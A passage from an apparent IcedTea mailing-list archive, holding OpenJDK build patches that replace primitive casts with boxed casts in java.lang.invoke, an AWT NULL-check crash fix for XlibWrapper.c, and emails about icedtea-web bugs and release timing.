a1, Object a2) throws Throwable { return convert_I((Integer) invoker.invokeExact(target, a0, a1, a2)); } -+ protected Object invoke_J3(Object a0, Object a1, Object a2) throws Throwable { return convert_J((Long) invoker.invokeExact(target, a0, a1, a2)); } -+ protected Object invoke_F3(Object a0, Object a1, Object a2) throws Throwable { return convert_F((Float) invoker.invokeExact(target, a0, a1, a2)); } -+ protected Object invoke_D3(Object a0, Object a1, Object a2) throws Throwable { return convert_D((Double)invoker.invokeExact(target, a0, a1, a2)); } - } - static class A4 extends Adapter { - protected A4(MethodHandle entryPoint) { super(entryPoint); } // to build prototype -@@ -553,10 +553,10 @@ - protected A4 makeInstance(MethodHandle e, MethodHandle i, MethodHandle c, MethodHandle t) - { return new A4(e, i, c, t); } - protected Object invoke_L4(Object a0, Object a1, Object a2, Object a3) throws Throwable { return convert_L((Object)invoker.invokeExact(target, a0, a1, a2, a3)); } -- protected Object invoke_I4(Object a0, Object a1, Object a2, Object a3) throws Throwable { return convert_I((int) invoker.invokeExact(target, a0, a1, a2, a3)); } -- protected Object invoke_J4(Object a0, Object a1, Object a2, Object a3) throws Throwable { return convert_J((long) invoker.invokeExact(target, a0, a1, a2, a3)); } -- protected Object invoke_F4(Object a0, Object a1, Object a2, Object a3) throws Throwable { return convert_F((float) invoker.invokeExact(target, a0, a1, a2, a3)); } -- protected Object invoke_D4(Object a0, Object a1, Object a2, Object a3) throws Throwable { return convert_D((double)invoker.invokeExact(target, a0, a1, a2, a3)); } -+ protected Object invoke_I4(Object a0, Object a1, Object a2, Object a3) throws Throwable { return convert_I((Integer) invoker.invokeExact(target, a0, a1, a2, a3)); } -+ protected Object invoke_J4(Object a0, Object a1, Object a2, Object a3) throws Throwable { return convert_J((Long) invoker.invokeExact(target, a0, a1, a2, a3)); } -+ protected Object invoke_F4(Object a0, Object a1, Object a2, Object a3) throws Throwable { return convert_F((Float) invoker.invokeExact(target, a0, a1, a2, a3)); } -+ protected Object invoke_D4(Object a0, Object a1, Object a2, Object a3) throws Throwable { return convert_D((Double)invoker.invokeExact(target, a0, a1, a2, a3)); } - } - static class A5 extends Adapter { - protected A5(MethodHandle entryPoint) { super(entryPoint); } // to build prototype -@@ -565,10 +565,10 @@ - protected A5 makeInstance(MethodHandle e, MethodHandle i, MethodHandle c, MethodHandle t) - { return new A5(e, i, c, t); } - protected Object invoke_L5(Object a0, Object a1, Object a2, Object a3, Object a4) throws Throwable { return convert_L((Object)invoker.invokeExact(target, a0, a1, a2, a3, a4)); } -- protected Object invoke_I5(Object a0, Object a1, Object a2, Object a3, Object a4) throws Throwable { return convert_I((int) invoker.invokeExact(target, a0, a1, a2, a3, a4)); } -- protected Object invoke_J5(Object a0, Object a1, Object a2, Object a3, Object a4) throws Throwable { return convert_J((long) invoker.invokeExact(target, a0, a1, a2, a3, a4)); } -- protected Object invoke_F5(Object a0, Object a1, Object a2, Object a3, Object a4) throws Throwable { return convert_F((float) invoker.invokeExact(target, a0, a1, a2, a3, a4)); } -- protected Object invoke_D5(Object a0, Object a1, Object a2, Object a3, Object a4) throws Throwable { return convert_D((double)invoker.invokeExact(target, a0, a1, a2, a3, a4)); } -+ protected Object invoke_I5(Object a0, Object a1, Object a2, Object a3, Object a4) throws Throwable { return convert_I((Integer) invoker.invokeExact(target, a0, a1, a2, a3, a4)); } -+ protected Object invoke_J5(Object a0, Object a1, Object a2, Object a3, Object a4) throws Throwable { return convert_J((Long) invoker.invokeExact(target, a0, a1, a2, a3, a4)); } -+ protected Object invoke_F5(Object a0, Object a1, Object a2, Object a3, Object a4) throws Throwable { return convert_F((Float) invoker.invokeExact(target, a0, a1, a2, a3, a4)); } -+ protected Object invoke_D5(Object a0, Object a1, Object a2, Object a3, Object a4) throws Throwable { return convert_D((Double)invoker.invokeExact(target, a0, a1, a2, a3, a4)); } - } - static class A6 extends Adapter { - protected A6(MethodHandle entryPoint) { super(entryPoint); } // to build prototype -@@ -577,10 +577,10 @@ - protected A6 makeInstance(MethodHandle e, MethodHandle i, MethodHandle c, MethodHandle t) - { return new A6(e, i, c, t); } - protected Object invoke_L6(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5) throws Throwable { return convert_L((Object)invoker.invokeExact(target, a0, a1, a2, a3, a4, a5)); } -- protected Object invoke_I6(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5) throws Throwable { return convert_I((int) invoker.invokeExact(target, a0, a1, a2, a3, a4, a5)); } -- protected Object invoke_J6(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5) throws Throwable { return convert_J((long) invoker.invokeExact(target, a0, a1, a2, a3, a4, a5)); } -- protected Object invoke_F6(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5) throws Throwable { return convert_F((float) invoker.invokeExact(target, a0, a1, a2, a3, a4, a5)); } -- protected Object invoke_D6(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5) throws Throwable { return convert_D((double)invoker.invokeExact(target, a0, a1, a2, a3, a4, a5)); } -+ protected Object invoke_I6(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5) throws Throwable { return convert_I((Integer) invoker.invokeExact(target, a0, a1, a2, a3, a4, a5)); } -+ protected Object invoke_J6(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5) throws Throwable { return convert_J((Long) invoker.invokeExact(target, a0, a1, a2, a3, a4, a5)); } -+ protected Object invoke_F6(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5) throws Throwable { return convert_F((Float) invoker.invokeExact(target, a0, a1, a2, a3, a4, a5)); } -+ protected Object invoke_D6(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5) throws Throwable { return convert_D((Double)invoker.invokeExact(target, a0, a1, a2, a3, a4, a5)); } - } - static class A7 extends Adapter { - protected A7(MethodHandle entryPoint) { super(entryPoint); } // to build prototype -@@ -589,10 +589,10 @@ - protected A7 makeInstance(MethodHandle e, MethodHandle i, MethodHandle c, MethodHandle t) - { return new A7(e, i, c, t); } - protected Object invoke_L7(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6) throws Throwable { return convert_L((Object)invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6)); } -- protected Object invoke_I7(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6) throws Throwable { return convert_I((int) invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6)); } -- protected Object invoke_J7(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6) throws Throwable { return convert_J((long) invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6)); } -- protected Object invoke_F7(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6) throws Throwable { return convert_F((float) invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6)); } -- protected Object invoke_D7(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6) throws Throwable { return convert_D((double)invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6)); } -+ protected Object invoke_I7(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6) throws Throwable { return convert_I((Integer) invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6)); } -+ protected Object invoke_J7(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6) throws Throwable { return convert_J((Long) invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6)); } -+ protected Object invoke_F7(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6) throws Throwable { return convert_F((Float) invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6)); } -+ protected Object invoke_D7(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6) throws Throwable { return convert_D((Double)invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6)); } - } - static class A8 extends Adapter { - protected A8(MethodHandle entryPoint) { super(entryPoint); } // to build prototype -@@ -601,10 +601,10 @@ - protected A8 makeInstance(MethodHandle e, MethodHandle i, MethodHandle c, MethodHandle t) - { return new A8(e, i, c, t); } - protected Object invoke_L8(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6, Object a7) throws Throwable { return convert_L((Object)invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6, a7)); } -- protected Object invoke_I8(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6, Object a7) throws Throwable { return convert_I((int) invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6, a7)); } -- protected Object invoke_J8(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6, Object a7) throws Throwable { return convert_J((long) invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6, a7)); } -- protected Object invoke_F8(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6, Object a7) throws Throwable { return convert_F((float) invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6, a7)); } -- protected Object invoke_D8(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6, Object a7) throws Throwable { return convert_D((double)invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6, a7)); } -+ protected Object invoke_I8(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6, Object a7) throws Throwable { return convert_I((Integer) invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6, a7)); } -+ protected Object invoke_J8(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6, Object a7) throws Throwable { return convert_J((Long) invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6, a7)); } -+ protected Object invoke_F8(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6, Object a7) throws Throwable { return convert_F((Float) invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6, a7)); } -+ protected Object invoke_D8(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6, Object a7) throws Throwable { return convert_D((Double)invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6, a7)); } - } - static class A9 extends Adapter { - protected A9(MethodHandle entryPoint) { super(entryPoint); } // to build prototype -@@ -613,10 +613,10 @@ - protected A9 makeInstance(MethodHandle e, MethodHandle i, MethodHandle c, MethodHandle t) - { return new A9(e, i, c, t); } - protected Object invoke_L9(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6, Object a7, Object a8) throws Throwable { return convert_L((Object)invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6, a7, a8)); } -- protected Object invoke_I9(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6, Object a7, Object a8) throws Throwable { return convert_I((int) invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6, a7, a8)); } -- protected Object invoke_J9(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6, Object a7, Object a8) throws Throwable { return convert_J((long) invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6, a7, a8)); } -- protected Object invoke_F9(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6, Object a7, Object a8) throws Throwable { return convert_F((float) invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6, a7, a8)); } -- protected Object invoke_D9(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6, Object a7, Object a8) throws Throwable { return convert_D((double)invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6, a7, a8)); } -+ protected Object invoke_I9(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6, Object a7, Object a8) throws Throwable { return convert_I((Integer) invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6, a7, a8)); } -+ protected Object invoke_J9(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6, Object a7, Object a8) throws Throwable { return convert_J((Long) invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6, a7, a8)); } -+ protected Object invoke_F9(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6, Object a7, Object a8) throws Throwable { return convert_F((Float) invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6, a7, a8)); } -+ protected Object invoke_D9(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6, Object a7, Object a8) throws Throwable { return convert_D((Double)invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6, a7, a8)); } - } - static class A10 extends Adapter { - protected A10(MethodHandle entryPoint) { super(entryPoint); } // to build prototype -@@ -625,9 +625,9 @@ - protected A10 makeInstance(MethodHandle e, MethodHandle i, MethodHandle c, MethodHandle t) - { return new A10(e, i, c, t); } - protected Object invoke_L10(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6, Object a7, Object a8, Object a9) throws Throwable { return convert_L((Object)invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9)); } -- protected Object invoke_I10(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6, Object a7, Object a8, Object a9) throws Throwable { return convert_I((int) invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9)); } -- protected Object invoke_J10(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6, Object a7, Object a8, Object a9) throws Throwable { return convert_J((long) invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9)); } -- protected Object invoke_F10(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6, Object a7, Object a8, Object a9) throws Throwable { return convert_F((float) invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9)); } -- protected Object invoke_D10(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6, Object a7, Object a8, Object a9) throws Throwable { return convert_D((double)invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9)); } -+ protected Object invoke_I10(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6, Object a7, Object a8, Object a9) throws Throwable { return convert_I((Integer) invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9)); } -+ protected Object invoke_J10(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6, Object a7, Object a8, Object a9) throws Throwable { return convert_J((Long) invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9)); } -+ protected Object invoke_F10(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6, Object a7, Object a8, Object a9) throws Throwable { return convert_F((Float) invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9)); } -+ protected Object invoke_D10(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6, Object a7, Object a8, Object a9) throws Throwable { return convert_D((Double)invoker.invokeExact(target, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9)); } - } - } -diff -Nru openjdk-boot.orig/jdk/src/share/classes/java/lang/invoke/MethodHandleImpl.java openjdk-boot/jdk/src/share/classes/java/lang/invoke/MethodHandleImpl.java ---- openjdk-boot.orig/jdk/src/share/classes/java/lang/invoke/MethodHandleImpl.java 2011-07-12 12:43:47.000000000 +0100 -+++ openjdk-boot/jdk/src/share/classes/java/lang/invoke/MethodHandleImpl.java 2011-07-12 15:12:13.214932157 +0100 -@@ -956,52 +956,52 @@ - return addTypeString(target, this); - } - private Object invoke_V(Object... av) throws Throwable { -- if ((boolean) test.invokeExact(av)) -+ if ((Boolean) test.invokeExact(av)) - return target.invokeExact(av); - return fallback.invokeExact(av); - } - private Object invoke_L0() throws Throwable { -- if ((boolean) test.invokeExact()) -+ if ((Boolean) test.invokeExact()) - return target.invokeExact(); - return fallback.invokeExact(); - } - private Object invoke_L1(Object a0) throws Throwable { -- if ((boolean) test.invokeExact(a0)) -+ if ((Boolean) test.invokeExact(a0)) - return target.invokeExact(a0); - return fallback.invokeExact(a0); - } - private Object invoke_L2(Object a0, Object a1) throws Throwable { -- if ((boolean) test.invokeExact(a0, a1)) -+ if ((Boolean) test.invokeExact(a0, a1)) - return target.invokeExact(a0, a1); - return fallback.invokeExact(a0, a1); - } - private Object invoke_L3(Object a0, Object a1, Object a2) throws Throwable { -- if ((boolean) test.invokeExact(a0, a1, a2)) -+ if ((Boolean) test.invokeExact(a0, a1, a2)) - return target.invokeExact(a0, a1, a2); - return fallback.invokeExact(a0, a1, a2); - } - private Object invoke_L4(Object a0, Object a1, Object a2, Object a3) throws Throwable { -- if ((boolean) test.invokeExact(a0, a1, a2, a3)) -+ if ((Boolean) test.invokeExact(a0, a1, a2, a3)) - return target.invokeExact(a0, a1, a2, a3); - return fallback.invokeExact(a0, a1, a2, a3); - } - private Object invoke_L5(Object a0, Object a1, Object a2, Object a3, Object a4) throws Throwable { -- if ((boolean) test.invokeExact(a0, a1, a2, a3, a4)) -+ if ((Boolean) test.invokeExact(a0, a1, a2, a3, a4)) - return target.invokeExact(a0, a1, a2, a3, a4); - return fallback.invokeExact(a0, a1, a2, a3, a4); - } - private Object invoke_L6(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5) throws Throwable { -- if ((boolean) test.invokeExact(a0, a1, a2, a3, a4, a5)) -+ if ((Boolean) test.invokeExact(a0, a1, a2, a3, a4, a5)) - return target.invokeExact(a0, a1, a2, a3, a4, a5); - return fallback.invokeExact(a0, a1, a2, a3, a4, a5); - } - private Object invoke_L7(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6) throws Throwable { -- if ((boolean) test.invokeExact(a0, a1, a2, a3, a4, a5, a6)) -+ if ((Boolean) test.invokeExact(a0, a1, a2, a3, a4, a5, a6)) - return target.invokeExact(a0, a1, a2, a3, a4, a5, a6); - return fallback.invokeExact(a0, a1, a2, a3, a4, a5, a6); - } - private Object invoke_L8(Object a0, Object a1, Object a2, Object a3, Object a4, Object a5, Object a6, Object a7) throws Throwable { -- if ((boolean) test.invokeExact(a0, a1, a2, a3, a4, a5, a6, a7)) -+ if ((Boolean) test.invokeExact(a0, a1, a2, a3, a4, a5, a6, a7)) - return target.invokeExact(a0, a1, a2, a3, a4, a5, a6, a7); - return fallback.invokeExact(a0, a1, a2, a3, a4, a5, a6, a7); - } -diff -Nru openjdk-boot.orig/jdk/src/share/classes/java/lang/invoke/ToGeneric.java openjdk-boot/jdk/src/share/classes/java/lang/invoke/ToGeneric.java ---- openjdk-boot.orig/jdk/src/share/classes/java/lang/invoke/ToGeneric.java 2011-06-11 00:38:08.000000000 +0100 -+++ openjdk-boot/jdk/src/share/classes/java/lang/invoke/ToGeneric.java 2011-07-12 15:12:13.214932157 +0100 -@@ -394,10 +394,10 @@ - - // Code to run when the generic target has finished and produced a value. - protected Object return_L(Object res) throws Throwable { return (Object)convert.invokeExact(res); } -- protected int return_I(Object res) throws Throwable { return (int) convert.invokeExact(res); } -- protected long return_J(Object res) throws Throwable { return (long) convert.invokeExact(res); } -- protected float return_F(Object res) throws Throwable { return (float) convert.invokeExact(res); } -- protected double return_D(Object res) throws Throwable { return (double)convert.invokeExact(res); } -+ protected int return_I(Object res) throws Throwable { return (Integer) convert.invokeExact(res); } -+ protected long return_J(Object res) throws Throwable { return (Long) convert.invokeExact(res); } -+ protected float return_F(Object res) throws Throwable { return (Float) convert.invokeExact(res); } -+ protected double return_D(Object res) throws Throwable { return (Double)convert.invokeExact(res); } - - static private final String CLASS_PREFIX; // "java.lang.invoke.ToGeneric$" - static { diff -Nru openjdk-boot.orig/jdk/src/share/classes/sun/invoke/util/ValueConversions.java openjdk-boot/jdk/src/share/classes/sun/invoke/util/ValueConversions.java ---- openjdk-boot.orig/jdk/src/share/classes/sun/invoke/util/ValueConversions.java 2011-07-12 14:52:51.000000000 +0100 -+++ openjdk-boot/jdk/src/share/classes/sun/invoke/util/ValueConversions.java 2011-07-12 15:12:50.499499088 +0100 -@@ -223,9 +223,9 @@ +--- openjdk-boot.orig/jdk/src/share/classes/sun/invoke/util/ValueConversions.java 2012-11-30 14:59:33.053919817 +0000 ++++ openjdk-boot/jdk/src/share/classes/sun/invoke/util/ValueConversions.java 2012-11-30 15:02:05.216300867 +0000 +@@ -191,9 +191,9 @@ if (x instanceof Number) { res = (Number) x; } else if (x instanceof Boolean) { @@ -276,12 +25,184 @@ } else { // this will fail with the required ClassCastException: res = (Number) x; -@@ -386,7 +386,7 @@ - - static int unboxRawInteger(Object x) { +@@ -212,52 +212,52 @@ + */ + public static int widenSubword(Object x) { if (x instanceof Integer) - return (int) x; + return (Integer) x; + else if (x instanceof Boolean) +- return fromBoolean((boolean) x); ++ return fromBoolean((Boolean) x); + else if (x instanceof Character) +- return (char) x; ++ return (Character) x; + else if (x instanceof Short) +- return (short) x; ++ return (Short) x; + else if (x instanceof Byte) +- return (byte) x; ++ return (Byte) x; else - return (int) unboxLong(x, false); + // Fail with a ClassCastException. +- return (int) x; ++ return (Integer) x; } + + /// Converting primitives to references + + static Integer boxInteger(int x) { +- return x; ++ return Integer.valueOf(x); + } + + static Byte boxByte(byte x) { +- return x; ++ return Byte.valueOf(x); + } + + static Short boxShort(short x) { +- return x; ++ return Short.valueOf(x); + } + + static Boolean boxBoolean(boolean x) { +- return x; ++ return Boolean.valueOf(x); + } + + static Character boxCharacter(char x) { +- return x; ++ return Character.valueOf(x); + } + + static Long boxLong(long x) { +- return x; ++ return Long.valueOf(x); + } + + static Float boxFloat(float x) { +- return x; ++ return Float.valueOf(x); + } + + static Double boxDouble(double x) { +- return x; ++ return Double.valueOf(x); + } + + private static MethodType boxType(Wrapper wrap) { +diff -Nru openjdk-boot.orig/jdk/src/share/classes/java/lang/invoke/BoundMethodHandle.java openjdk-boot/jdk/src/share/classes/java/lang/invoke/BoundMethodHandle.java +--- openjdk-boot.orig/jdk/src/share/classes/java/lang/invoke/BoundMethodHandle.java 2012-11-30 17:27:25.095740183 +0000 ++++ openjdk-boot/jdk/src/share/classes/java/lang/invoke/BoundMethodHandle.java 2012-11-30 17:29:35.229853381 +0000 +@@ -71,11 +71,11 @@ + case 'I': + return (BoundMethodHandle) SpeciesData.EMPTY.extendWithType('I').constructor[0].invokeBasic(type, form, ValueConversions.widenSubword(x)); + case 'J': +- return (BoundMethodHandle) SpeciesData.EMPTY.extendWithType('J').constructor[0].invokeBasic(type, form, (long) x); ++ return (BoundMethodHandle) SpeciesData.EMPTY.extendWithType('J').constructor[0].invokeBasic(type, form, (Long) x); + case 'F': +- return (BoundMethodHandle) SpeciesData.EMPTY.extendWithType('F').constructor[0].invokeBasic(type, form, (float) x); ++ return (BoundMethodHandle) SpeciesData.EMPTY.extendWithType('F').constructor[0].invokeBasic(type, form, (Float) x); + case 'D': +- return (BoundMethodHandle) SpeciesData.EMPTY.extendWithType('D').constructor[0].invokeBasic(type, form, (double) x); ++ return (BoundMethodHandle) SpeciesData.EMPTY.extendWithType('D').constructor[0].invokeBasic(type, form, (Double) x); + default : throw new InternalError("unexpected xtype: " + xtype); + } + } catch (Throwable t) { +@@ -92,9 +92,9 @@ + switch (xtype) { From helpcrypto at gmail.com Tue Dec 4 04:04:28 2012 From: helpcrypto at gmail.com (helpcrypto helpcrypto) Date: Tue, 4 Dec 2012 13:04:28 +0100 Subject: [Bug 1198] JSObject passed to Javascript incorrectly In-Reply-To: <50B920DD.1070100@redhat.com> References: <50B7B3F2.6020303@redhat.com> <50B920DD.1070100@redhat.com> Message-ID: Hi Adam. Thanks a lot for your help and support. Although I haven't tested this in depth, the first test I have done is actually working. Everything seems to be OK. So: Thanks A LOT for fixing this. Thanks also to others involved in this issue, thanks for redhat people, and thanks to others who -with their work- help to improve and fix openjdk. Before opening new bugs (already found while testing the same applet): What should I do to be sure this fix is applied to icedtea6 and icedtea7 for distros like Ubuntu, Debian...do they periodically update from head? I'll wait for you to post the fix on the bugreport, to confirm its fixed. From adomurad at redhat.com Tue Dec 4 06:16:28 2012 From: adomurad at redhat.com (Adam Domurad) Date: Tue, 04 Dec 2012 09:16:28 -0500 Subject: [Bug 1198] JSObject passed to Javascript incorrectly In-Reply-To: References: <50B7B3F2.6020303@redhat.com> <50B920DD.1070100@redhat.com> Message-ID: <50BE05BC.5010507@redhat.com> On 12/04/2012 07:04 AM, helpcrypto helpcrypto wrote: > Hi Adam. > Thanks a lot for your help and support. > > Although I haven't tested this in depth, the first test I have done is > actually working. Everything seems to be OK. > So: Thanks A LOT for fixing this. Thanks also to others involved in > this issue, thanks for redhat people, and thanks to others who -with > their work- help to improve and fix openjdk. > > Before opening new bugs (already found while testing the same applet): > What should I do to be sure this fix is applied to icedtea6 and > icedtea7 for distros like Ubuntu, Debian...do they periodically update > from head? > > I'll wait for you to post the fix on the bugreport, to confirm its fixed. To be exact, icedtea6 and icedtea7 releases aren't tied to icedtea-web releases (this is advantageous, this way minor icedtea-web releases don't cause or wait for icedtea releases). We will do a 1.4 series release, with a round of testing, soon (within 2 months, not entirely remembering what the date we decided on was). After we do an official release the distros pick it up. The fix will be posted to the bug report once its been reviewed and tested more. Happy hacking, -Adam From aph at redhat.com Tue Dec 4 06:21:08 2012 From: aph at redhat.com (Andrew Haley) Date: Tue, 04 Dec 2012 14:21:08 +0000 Subject: AWT crasher patch to be back-ported by all distros Message-ID: <50BE06D4.1020308@redhat.com> This bug affects LibreOffice, crashes it on all known OpenJDKs, and is committed upstream. It's worth patching IcedTea and all OpenJDK- derived packages until the next JDK7 update, which may be some time. Andrew. # HG changeset patch # User aph # Date 1354629728 0 # Node ID ea20c9388d90fd9fda085c59ceae25ea9d686ec6 # Parent 4aad3e6f68d2463f4fee63c93153394be6489c00 8004344: Fix a crash in ToolkitErrorHandler() in XlibWrapper.c Summary: Code does not check for JNU_GetEnv returning NULL. Reviewed-by: anthony diff -r 4aad3e6f68d2 -r ea20c9388d90 src/solaris/native/sun/xawt/XlibWrapper.c --- a/src/solaris/native/sun/xawt/XlibWrapper.c Tue Dec 04 17:17:45 2012 +0400 +++ b/src/solaris/native/sun/xawt/XlibWrapper.c Tue Dec 04 14:02:08 2012 +0000 @@ -1260,13 +1260,15 @@ JavaVM* jvm = NULL; static int ToolkitErrorHandler(Display * dpy, XErrorEvent * event) { + JNIEnv * env; if (jvm != NULL) { - JNIEnv * env = (JNIEnv *)JNU_GetEnv(jvm, JNI_VERSION_1_2); - return JNU_CallStaticMethodByName(env, NULL, "sun/awt/X11/XToolkit", "globalErrorHandler", "(JJ)I", - ptr_to_jlong(dpy), ptr_to_jlong(event)).i; - } else { - return 0; + env = (JNIEnv *)JNU_GetEnv(jvm, JNI_VERSION_1_2); + if (env) { + return JNU_CallStaticMethodByName(env, NULL, "sun/awt/X11/XToolkit", "globalErrorHandler", "(JJ)I", + ptr_to_jlong(dpy), ptr_to_jlong(event)).i; + } } + return 0; } /* From bugzilla-daemon at icedtea.classpath.org Tue Dec 4 06:33:33 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Tue, 04 Dec 2012 14:33:33 +0000 Subject: [Bug 1096] ITW requires independent signing of nested jars In-Reply-To: References: Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=1096 --- Comment #4 from Adam Domurad --- I was incorrect actually, this bug is related to signatures expiring when they shouldn't be. For more info: http://docs.oracle.com/javase/1.5.0/docs/guide/security/time-of-signing-beta1.html It was a bit confusing, but it turns out the nested jars are pretty much ignored. Rewording bug. -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121204/32a8bcc0/attachment.html From bugzilla-daemon at icedtea.classpath.org Tue Dec 4 06:34:34 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Tue, 04 Dec 2012 14:34:34 +0000 Subject: [Bug 1096] ITW shouldn't let time-stamped signatures expire In-Reply-To: References: Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=1096 Adam Domurad changed: What |Removed |Added ---------------------------------------------------------------------------- Summary|ITW requires independent |ITW shouldn't let |signing of nested jars |time-stamped signatures | |expire -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121204/54edb0ea/attachment.html From helpcrypto at gmail.com Tue Dec 4 06:52:35 2012 From: helpcrypto at gmail.com (helpcrypto helpcrypto) Date: Tue, 4 Dec 2012 15:52:35 +0100 Subject: [Bug 1198] JSObject passed to Javascript incorrectly In-Reply-To: <50BE05BC.5010507@redhat.com> References: <50B7B3F2.6020303@redhat.com> <50B920DD.1070100@redhat.com> <50BE05BC.5010507@redhat.com> Message-ID: I'll be watching, in the meantime ill report more bugs. From gnu.andrew at redhat.com Tue Dec 4 06:59:35 2012 From: gnu.andrew at redhat.com (Andrew Hughes) Date: Tue, 4 Dec 2012 09:59:35 -0500 (EST) Subject: AWT crasher patch to be back-ported by all distros In-Reply-To: <50BE06D4.1020308@redhat.com> Message-ID: <1671078169.10323689.1354633175422.JavaMail.root@redhat.com> ----- Original Message ----- > This bug affects LibreOffice, crashes it on all known OpenJDKs, and > is > committed upstream. It's worth patching IcedTea and all OpenJDK- > derived packages until the next JDK7 update, which may be some time. > Funny, GCJ has pretty much an identical bug: https://bugzilla.redhat.com/show_bug.cgi?id=857598 That's one of the fixes I wanted to get merged in, but just haven't had chance. > Andrew. > > > # HG changeset patch > # User aph > # Date 1354629728 0 > # Node ID ea20c9388d90fd9fda085c59ceae25ea9d686ec6 > # Parent 4aad3e6f68d2463f4fee63c93153394be6489c00 > 8004344: Fix a crash in ToolkitErrorHandler() in XlibWrapper.c > Summary: Code does not check for JNU_GetEnv returning NULL. > Reviewed-by: anthony > > diff -r 4aad3e6f68d2 -r ea20c9388d90 > src/solaris/native/sun/xawt/XlibWrapper.c > --- a/src/solaris/native/sun/xawt/XlibWrapper.c Tue Dec 04 17:17:45 > 2012 +0400 > +++ b/src/solaris/native/sun/xawt/XlibWrapper.c 